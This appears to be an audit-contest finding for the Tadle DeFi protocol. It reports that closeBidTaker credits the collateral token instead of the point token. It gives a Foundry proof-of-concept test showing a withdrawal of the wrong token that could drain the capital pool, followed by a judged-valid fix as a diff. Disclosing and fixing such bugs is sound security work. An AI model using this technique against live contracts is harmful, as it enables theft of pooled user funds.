Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Ask offers result in withdrawal of collateral instead of point token

dadekuma

Summary

NOTE: Similar to Bid offers result in withdrawal of collateral instead of point token but with a different root cause.
They are different issues with a different mitigation, and BOTH must be fixed.

Users receive the wrong kind of token after closing a BID order.
Supposing a 1-1 token-point ratio:

  • If the ASK offer has more points than the collateral this will result in user losing their funds

  • If the ASK offer has less points than the collateral this can be used to drain the pool

Vulnerability Details

  1. Alice creates an ASK offer for 1000 points and 2000 collateral

  2. Bob creates a BID order to buy 500 points, sending 1000 as payment

  3. Alice settles 500 points on Bob order

  4. Bob closes the bid

  5. Bob is credited with 500 point token

  6. Bob withdraws, but he receives 500 collateral token instead of 500 point token (in this case he lost 500 collateral token)

  7. If offer points were higher than collateral, this can be leveraged to drain the pool instead

Point token address should be used here, not the maker token address:
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L198

Poc, run forge test --via-ir --match-test test_h2_ask_point_withdrawals_is_collateral -vv

function test_h2_ask_point_withdrawals_is_collateral() public {
​
address alice = makeAddr("alice");
address bob = makeAddr("bob");
​
// give funds to users
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
​
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
​
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// alice creates offer
vm.startPrank(alice);
​
uint256 collateralAmount = 2000 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, //points
collateralAmount, //amount
10_000, //collateralRate
0, //eachTradeTax
OfferType.Ask,
OfferSettleType.Protected
)
);
​
address offer0Addr = GenerateAddress.generateOfferAddress(0);
​
// bob is taker
vm.startPrank(bob);
uint256 bobPoints = 500;
preMarktes.createTaker(offer0Addr, bobPoints);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
​
// move market status
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1e18,
block.timestamp - 1,
3600
);
​
vm.startPrank(alice);
uint256 alicePoints = 10_000 * 1e18;
deal(address(mockPointToken), alice, alicePoints);
mockPointToken.approve(address(tokenManager), type(uint256).max);
deliveryPlace.settleAskMaker(offer0Addr, 500);
assertEq(mockPointToken.balanceOf(alice), alicePoints - 500 * 1e18, "alice point token balance after askMaker");
vm.stopPrank();
​
vm.startPrank(bob);
deliveryPlace.closeBidTaker(stock1Addr);
vm.stopPrank();
​
​
// OFFER ASK - TAKER/ORDER BID
// alice
uint256 tokenAmount;
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 3000 * 1e18, "sales alice");
​
// bob
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 500 * 1e18, "token bob");
​
vm.startPrank(bob);
capitalPool.approve(address(mockUSDCToken));
uint256 USDCBeforeWithdrawal = mockUSDCToken.balanceOf(bob);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
​
// bob received collateral instead of points...
assertEq(mockUSDCToken.balanceOf(bob), USDCBeforeWithdrawal + bobPoints * 1e18, "bob collateral balance");
​
// bob did not receive any points
assertEq(mockPointToken.balanceOf(bob), 0, "bob point token balance");
vm.stopPrank();
} // forge test --via-ir --match-test test_h2_ask_point_withdrawals_is_collateral -vv

Impact

Impact: High (Protocol funds drained or high loss of user funds)
Likelihood: High (anyone can do it without pre-conditions)

Risk: Critical

Tools Used

Manual Review

Recommendations

In DeliveryPlace, change closeBidTaker:

function closeBidTaker(address _stock) external {
IPerMarkets perMarkets = tadleFactory.getPerMarkets();
ITokenManager tokenManager = tadleFactory.getTokenManager();
StockInfo memory stockInfo = perMarkets.getStockInfo(_stock);
​
if (stockInfo.preOffer == address(0x0)) {
revert InvalidStock();
}
​
if (stockInfo.stockType == StockType.Ask) {
revert InvalidStockType();
}
​
if (_msgSender() != stockInfo.authority) {
revert Errors.Unauthorized();
}
​
(
OfferInfo memory preOfferInfo,
MakerInfo memory makerInfo,
- ,
+ MarketPlaceInfo memory marketPlaceInfo,
​
) = getOfferInfo(stockInfo.preOffer);
​
// rest of the code
​
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
_msgSender(),
- makerInfo.tokenAddress,
+ marketPlaceInfo.tokenAddress,
pointTokenAmount
);
​
perMarkets.updateStockStatus(_stock, StockStatus.Finished);
​
emit CloseBidTaker(
makerInfo.marketPlace,
offerInfo.maker,
_stock,
_msgSender(),
userCollateralFee,
pointTokenAmount
);
Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.